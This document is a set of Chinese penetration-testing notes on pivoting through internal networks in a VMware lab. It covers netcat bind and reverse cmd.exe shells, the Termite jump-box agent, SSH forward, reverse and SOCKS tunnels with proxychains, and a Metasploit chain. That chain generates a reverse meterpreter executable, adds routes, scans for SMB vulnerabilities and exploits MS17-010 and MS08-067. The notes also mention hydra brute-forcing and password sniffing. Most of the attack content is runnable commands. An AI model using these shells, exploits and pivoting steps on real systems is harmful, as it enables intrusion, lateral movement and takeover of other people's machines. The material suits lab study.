NC工具的使用
內網穿透工具termite
SSH代理使用
MSF穿越多級網絡
端口復用
PART 1: NC及穿透內網工具使用 本地要ngrok轉發才行
Nc使用詳解
tcp監聽
nc可以作為server端啟動一個tcp的監聽,默認情況下下面監聽的是一個tcp的端口
nc -l -p 9999
客戶端測試
1、在B機器上telnet A機器此端口,如下顯示表示B機器可以訪問A機器此端口
telnet 10.0.1.161 9999
2、B機器上也可以使用nmap掃描A機器的此端口
nmap 10.0.1.161 -p9999
3、使用nc命令作為客戶端工具進行端口探測
nc -vz -w 2 10.0.1.161 9999
(-v可視化,-z掃描時不發送數據,-w超時幾秒,后面跟數字)
服務端會自動關閉監聽。
4、nc可以掃描連續端口,這個作用非常重要。常常可以用來掃描服務器端口,然后給服務器安全加固
在客戶端B機器上掃描連續的兩個端口,如下
nc -vzw 2 10.0.1.161 9998-9999
Nc傳文件
方法1,先啟動接收命令
使用nc傳輸文件還是比較方便的,因為不用scp和rsync那種輸入密碼的操作了
把A機器上的一個rpm文件發送到B機器上
需注意操作次序,receiver先偵聽端口,sender向receiver所在機器的該端口發送數據。
步驟1,先在B機器上啟動一個接收文件的監聽,格式如下
意思是把賴在9995端口接收到的數據都寫到file文件里(這里文件名隨意取)
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm
步驟2,在A機器上往B機器的9995端口發送數據,把下面rpm包發送過去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
方法2,先啟動發送命令
步驟1,先在B機器上,啟動發送文件命令
下面命令表示通過本地的9992端口發送test.mv文件
nc -l -p 9992 <test.mv
步驟2,A機器上連接B機器,取接收文件
下面命令表示通過連接B機器的9992端口接收文件,並把文件存到本目錄下,文件名為test2.mv
nc 10.0.1.162 9992 >test2.mv
Nc反彈shell
方法1、REMOTE主機綁定SHELL
在公網監聽
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在內網主動建立連接
nc -nvv 192.168.153.138 5555
-t是通過telne模式執行 cmd.exe 程序,可以省略。
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
方法2、REMOTE主機綁定SHELL並反向連接
在公網監聽
nc -lp 5555
在內網機器反彈
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
---------------------------------------------------------------------------------
模擬:鏈接和掃描
NC可以上傳文件,下載文件,shell,電子取證,也可以建立連接聊天
還可掃端口 類似與nmap
NC屬於cs架構,客戶端,服務端
Linux也可以連接windows
windows工具在內網安全nc里
模擬:
把nc放進目標虛擬機
在把nc放進物理機
目標03機
是命令行的:nc.exe -l -p 12345 //-l是偵聽 -p是端口
物理機nc
nc.exe 目標地址 目標所偵聽的端口
注意這種聊天是沒加密的,需要加密就得安裝安全套接層.ssh加密之類的
端口掃描
物理機掃描虛擬機:
nc -vz -w 2 10.0.1.161 9999
nc -vzw 2 10.0.1.161 9998-9999
--------------
模擬上傳文件
客戶端傳服務端
目標機輸入:
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm //在目標機偵聽端口,接受物理機(vps)的文件並保存到zabbix.rpm格式,大於號代表接受文本保存格式
客戶機輸入
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm 小於號代表傳輸文件
服務端傳客戶端
目標機輸入
nc -l -p 9992 <test.mv
客戶機輸入
nc 10.0.1.162 9992 >test2.mv
如果客戶機偵聽,目標機來鏈接,客戶機啟動鏈接我的就會發送文件,那么目標機防火牆就不會攔截
----------------------------------------------------------
以下是新的工具
PART 2: termite工具使用
工具在內網安全Termite
termite
程序地址, http://rootkiter.com/Termite/
一款極度小巧靈活的跳板機,有別於傳統socks代理,它對於復雜內網環境下的滲透適用性更強,操作也極為簡便
程序分為兩部分,admin[為控制端]和agent[為代理端節點],admin和agent所有選項用途均一致
-l 指定本地socks端口,等待遠程連
-c 指定遠程socks機器ip
-p 指定遠程socks機器端口
管理端叫admin
服務端為agent
不同的系統服務端直接運行即可
win10物理機
03:橋接/vm1 169.254.38.181/192.168.25.129
win7:vm1/vm2 192.168.25.128/ 192.168.18.129
xp:vm2 192.168.18.128
把服務端agent_win32.exe放到桌面
test
1. 以服務模式啟動一個agent服務。
> $ ./agent -l 8888
2. 令管理端連接到agent並對agent進行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此時,admin端會得到一個內置的shell, 輸入help指令可以得到幫助信息。
>> help
4. 通過show指令可以得到當前agent的拓撲情況。
>> show
0M
+-- 1M
由於當前拓撲中只有一個agent,所以展示結果只有 1M ,
其中1 為節點的ID號,
M為MacOS系統的簡寫,Linux為L,Windows簡寫為W。
5. 將新agent加入當前拓撲
> ./agent -c 127.0.0.1 -p 8888
6. 此時show指令將得到如下效果
0M
+-- 1M
| +-- 2M
這表明,當前拓撲中有兩個節點,其中由於2節點需要通過1節點才能訪問,所以下掛在1節點下方。
模擬:
03:橋接/vm1 路徑轉到桌面 agent_Win32.exe -l 6666 //偵聽上6666
win7:vm1/vm2 agent_Win32.exe -l 7777
xp:vm2 agent_Win32.exe -l 8888
第一步.物理機鏈接03 admin_win32.exe -c 169.254.38.181 -p 6666
第二步 show 查看會話
第三部 goto 1 //選擇鏈接03
第四部 connect 192.168.25.128 7777
第五步 goto 2
第六步 connect 192.168.18.128 8888
管理成功
可以執行
socks代理
端口轉發
shll
上傳下載
show 查看會話,help幫助
上傳文件upfile d:\1.txt 1.txt
調用shell: shell 1188 會在我本地開個端口
在本地打開cmd:nc 127.0.0.1 1188 // 得借助nc
linux有個工具叫proxychains
termite創建socks 1080
本地安裝prixychains驅動nmap掃描其他內網,就會把我的流量轉發給xp
由xp來掃描整個網絡
端口轉發
lcxtran [lport] [rhost] [rport]
把xp的內網地址和3389轉發到我這里1234端口
在用本地的stic連接本地的3389 就等於連接xp的3389
也可以反向連接 xp連接win7 ,win7連接03 , 物理機鏈接03,前提win7 xp 03開啟偵聽和主動偵聽,可以過防火牆
linux放進去服務端
chmod 777 agent_linux_i586
./agent_linux_i586 -l 1133
物理機正常鏈接linux即可
PART 3: SSH代理穿透內網
當前機器A,SSH服務端B,目標服務器C,他們三者之間的關系是A可以SSH訪問到B,B可以直接訪問C,要達到的效果就A通過SSH端口轉發直接訪問服務器C.
例如:A為自己在家里的電腦,B為公司提供外網可以SSH訪問的服務器B,C為內網服務器.B可以訪問內網中的服務器C. 通過以下命令可以實現端口映射,通過SSH服務器將本地端口映射到服務器C對應的端口上,從而實現在本地A直接訪問C的目的.
ssh正向代理
在Client機器A執行如下命令:
ssh -L [本地IP可省略:][本地端口]:[服務器C地址]:[服務器C端口] [SSH服務器IP] -p [非默認端口22]
如果使用的是默認SSH端口22 ,則"-p 端口"不用輸入.
ssh -L 8001:10.0.0.1:8001 username@115.13.13.1 -p 22
ssh -L 8001:192.168.8.140:80 root@192.168.10.131
這樣在訪問本機的8001端口,通過SSH服務器B端口轉發后,實際訪問的就是服務器C的8001端口.
測試環境:
紅帽NAT/vm1 192.168.207.131/192.168.25.130
kali NAT
08 vm1 原地址 IP:192.168.199.128 網192.168.199.100 8.8.8.8 /// 192.168.25.131
目的用kali借助紅帽訪問到08
kali:ssh -L 9002:192.168.25.131:9002 root@192.168.207.131
kali:ssh -L 9002:內網地址:9002 root@目標服務器地址
把08的9001網站通過紅帽的轉發到自己的9002上來.
瀏覽器120.0.0.1:9002測試是否聯通
實戰時候:VPS去鏈接目標服務器旗下的內網, 前提你得知道秘密就能做端口轉發了
--------------------------------------------------------------------
ssh反向代理
我們把kali開啟80,把80端口映射給ssh服務器8001端口
kali:ssh -R 192.168.25.130:8001:127.0.0.1:80 root@192.168.207.131
把我自己的端口轉發到內網,讓紅帽和08服務器都能訪問vps的8001網站
-------
將Client的端口鏡像到SSH服務器上,所有可以訪問SSH服務器的訪問SSH鏡像的端口時即是訪問Client的端口.
ssh -R [SSH服務器IP:][SSH服務器上端口]:[客戶端側IP或能訪問到的IP]:[客戶端側IP端口或能反問的IP的端口] 用戶名@SSH服務器IP -p SSH服務器端口
如果SSH服務器使用的為默認22端口,則后面的"-p SSH服務器端口"不用輸入
ssh -R 192.168.0.107 81:127.0.0.1:80 username@192.168.0.107 -p 2200
------------------------------------------------------------------------------
ssh配置socket代理
socket代理 ssh服務器可以訪問外網,能訪問google,facebook等站點,client可以訪問ssh服務器但是不能訪問google,facebook.如果希望client通過ssh服務器代理訪問google,facebook通過以下命令可以實現.
ssh -D 8081 username@SSH服務器IP -p SSH服務器端口
ssd -D 8081 root@192.168.0.107
本地瀏覽器上設置socket代理后,瀏覽器即可訪問google,facebook站點了.
或者可以使用proxychain 來掃描socket代理的內網
如果我要用vpskali去掃描內網正常沒法掃描
我在連你你ssh的同時在做一個socket代理,讓自己vps成為socket服務器偵聽8081
在配置我vps的proxychain來掃描socket代理內網
① ssh -D 8081 root@192.168.207.131 服務器ip
netstat -thlp
③ vi /etc/proxychains.conf
socket4 改成127.0.0.1 8081
用proxychain nmap 去驅動
--------------------------------------
環境設置kali橋接網絡 192.168.124.23
08兩個網卡一個直連一個vm1
07一個vm1
PART 4: MSF穿越多級網絡
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.124.23 lport=1122 -f exe > ff.exe //生成放到08web 08兩個網卡一個直連一個vm1
msfconsole
use exploit/multi/handler //建立偵聽
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.124.23
set rport 1122
run
回彈后拿到了08服務器的權限但是想進一步進入07
為了使msf中模塊更好的掃描7.0網絡我們給shell添加路由
run autoroute -s 192.168.25.0/24
然后開始掃描192.168.25.0網段,操作如下: //進行橫向
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24
結果:
+] IP: 192.168.25.1 MAC 00:50:56:c0:00:01 (VMware, Inc.) 剛生成的路由
[+] IP: 192.168.25.128 MAC 00:0c:29:67:d4:79 (VMware, Inc.) 需要攻擊的地址
[+] IP: 192.168.25.131 MAC 00:0c:29:92:cf:9c (VMware, Inc 08的地址
+] IP: 192.168.25.255 MAC 00:0c:29:92:cf:9c (VMware, Inc.) 虛擬機網卡
[+] IP: 192.168.25.254 MAC 00:50:56:e9:db:cd (VMware, 虛擬機網卡
background
信息收集:
search portsan //信息收集模塊
use 調用5 用tcp掃描.
set rhosts 192.68.25.0/24 //掃描這個段
setg threads 50 //線程
run
結果:
如果要用nmap
search socks4代理
use 0 //調用
sessinos -l //准備用剛剛掛起的會話來建立cocks4
options
set srvhost 127.0.0.1 寫自己的
netstat -tnlp查看端口有沒有被占用,占用就換端口
run
vi /etc/proxychains.conf 把代理添加進去.127.0.0.1 1080 剛才開的端口
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.7.20
//掃描ms所有的漏洞
結果出來后
回到msf
search ms17-010
調用use 3
options
set rhosts 192.168.25.137
25.135
這里要用 windows/meterpreter/bind_tcp //不能用rever反向 要用bind 正向
乘64
記住bind偵聽是他開偵聽我來鏈接他
成功獲取到shell
在ipconfig
發現又有新網段xp 30網段
就再次添加路由
run autoroute -s 192.168.30.0/24
再次掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.25.0/24
再次用nmap
再次search socks4代理
這次要添加新的端口 1081
vi /etc/proxychains.conf 把代理添加進去.127.0.0.1 1081 剛才開的端口 添加出兩個
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms* 7.7.30.20
//掃描ms所有的漏洞
漏洞出現ms08-067
search ms08-067
use 0
options
set 192.168.30.128
set payload windows/meterpreter/bind_tcp
options 注意端口4444 不行就改改
set targets 查看攻擊的目標
xp sp3對應編號 34 set target 34
run
----------
橫向的理解
可以借助proxychains hydra -l 爆破密碼
橫向同一網段
nmap 掃漏洞
掃出80就搞網站提權
445 爆破漏洞利用
中間件 探測利用
msf模塊,嗅探密碼之類的
如果服務器開的網站,portfwd add -l 8001 192.168.20.128 -p 8001 轉到本地來
linux開了redis 127.0.0.1 就把目標轉發本地
PART 5: 端口復用
示例:要將最初瞄准端口TCP-80的傳入流量轉移到另一個TCP端口,例如8080,請執行以下操作:
c:\> divertTCPconn 80 8080
3389 80
正常不行,這個工具用瀏覽器打開就是80
用遠程連接80 就是3389
內網安全****tcp文件